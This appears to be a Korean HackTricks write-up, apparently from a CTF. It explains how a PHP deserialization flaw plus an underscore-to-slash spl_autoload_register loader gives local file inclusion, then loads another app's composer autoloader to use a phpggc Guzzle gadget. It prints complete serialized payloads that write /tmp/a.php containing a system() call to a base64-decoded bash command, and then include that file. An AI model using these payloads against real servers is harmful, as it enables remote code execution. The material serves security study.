PHP - Deserialization + Autoload Classes

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

먼저, Autoloading Classes가 무엇인지 확인해야 합니다.

PHP 역직렬화 + spl_autoload_register + LFI/Gadget

웹 앱에서 PHP 역직렬화를 발견했지만 phpggc 내부에 가젯에 취약한 라이브러리가 없는 상황에 있습니다. 그러나 동일한 컨테이너에는 취약한 라이브러리가 있는 다른 컴포저 웹 앱이 있습니다. 따라서 목표는 다른 웹 앱의 컴포저 로더를 로드하고, 역직렬화에 취약한 웹 앱에서 가젯을 이용하여 해당 라이브러리를 악용하는 것입니다.

단계:

  • 역직렬화를 발견했고, 현재 앱 코드에는 가젯이 없습니다

  • 다음과 같은 spl_autoload_register 함수를 악용하여 .php 확장자를 가진 로컬 파일을 로드할 수 있습니다.

  • 이를 위해 클래스 이름이 **$name**에 들어있는 역직렬화를 사용합니다. 직렬화된 객체의 클래스 이름에는 "/" 또는 "."을 사용할 수 없지만, 코드밑줄("_")을 슬래시("/")로 대체합니다. 따라서 tmp_passwd와 같은 클래스 이름은 /tmp/passwd.php로 변환되고 코드에서 로드를 시도합니다. 가젯 예시는 다음과 같습니다: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

파일 업로드가 가능하고 .php 확장자를 가진 파일을 업로드할 수 있다면, 이 기능을 직접 악용하여 이미 RCE를 얻을 수 있습니다.

저의 경우에는 그런 것이 없었지만, 동일한 컨테이너 내에 phpggc 가젯에 취약한 라이브러리가 있는 다른 컴포저 웹 페이지가 있었습니다.

  • 이 다른 라이브러리를 로드하기 위해서는, 먼저 해당 다른 웹 앱의 컴포저 로더를 로드해야 합니다. (현재 애플리케이션의 로더는 다른 앱의 라이브러리에 접근할 수 없습니다.) 애플리케이션의 경로를 알고 있다면, 다음과 같이 매우 쉽게 할 수 있습니다: O:28:"www_frontend_vendor_autoload":0:{} (저의 경우, 컴포저 로더는 /www/frontend/vendor/autoload.php에 있었습니다.)

  • 이제, 다른 앱의 컴포저 로더를 로드할 수 있으므로, phpggc 페이로드생성해야 합니다. 저의 경우, **Guzzle/FW1**을 사용하여 파일 시스템 내에 임의의 파일을 작성할 수 있었습니다.

  • 참고: 생성된 가젯은 작동하지 않았습니다. 작동하려면, phpggc의 chain.php 페이로드를 수정하여 생성된 객체의 속성을 모두 private에서 public으로 설정해야 합니다. 그렇지 않으면, 문자열을 역직렬화한 후 생성된 객체의 속성에는 어떤 값도 없습니다.

  • 이제 다른 앱의 컴포저 로더를 로드할 수 있는 방법과 작동하는 phpggc 페이로드가 있지만, **가젯이 사용될 때 로더가 로드되도록 이를 같은 요청에서 수행해야 합니다. 이를 위해 다음과 같이 두 개의 객체를 직렬화된 배열로 보냈습니다:

  • 먼저 로더가 로드되고 그 다음에 페이로드가 나타납니다.

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • 이제 파일을 생성하고 작성할 수 있지만, 사용자는 웹 서버 내의 어떤 폴더에도 쓸 수 없습니다. 그래서 페이로드에서 볼 수 있듯이, **/tmp/a.php**에 생성된 **system**과 함께 base64를 호출하는 PHP가 생성됩니다. 그런 다음, 다른 웹 앱의 컴포저 로더를 로드하기 위해 LFI로 사용한 첫 번째 유형의 페이로드를 생성된 /tmp/a.php 파일을 로드하는 데 재사용할 수 있습니다. 그냥 이를 역직렬화 가젯에 추가하면 됩니다:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

페이로드 요약

  • 동일한 컨테이너 내의 다른 웹앱의 컴포저 자동로드 로드

  • 다른 웹앱의 라이브러리를 악용하기 위해 phpggc 가젯 로드 (직렬화 취약점이 있는 초기 웹앱에는 가젯이 없음)

  • 가젯은 악성 명령을 포함한 PHP 페이로드가 있는 /tmp/a.php에 파일을 생성합니다 (웹앱 사용자는 다른 웹앱의 어떤 폴더에도 쓸 수 없음)

  • 페이로드의 마지막 부분은 명령을 실행할 생성된 php 파일을 로드합니다.

이 직렬화를 두 번 호출해야 했습니다. 테스트에서 첫 번째 호출에서는 /tmp/a.php 파일이 생성되지만 로드되지 않았으며, 두 번째 호출에서는 올바르게 로드되었습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated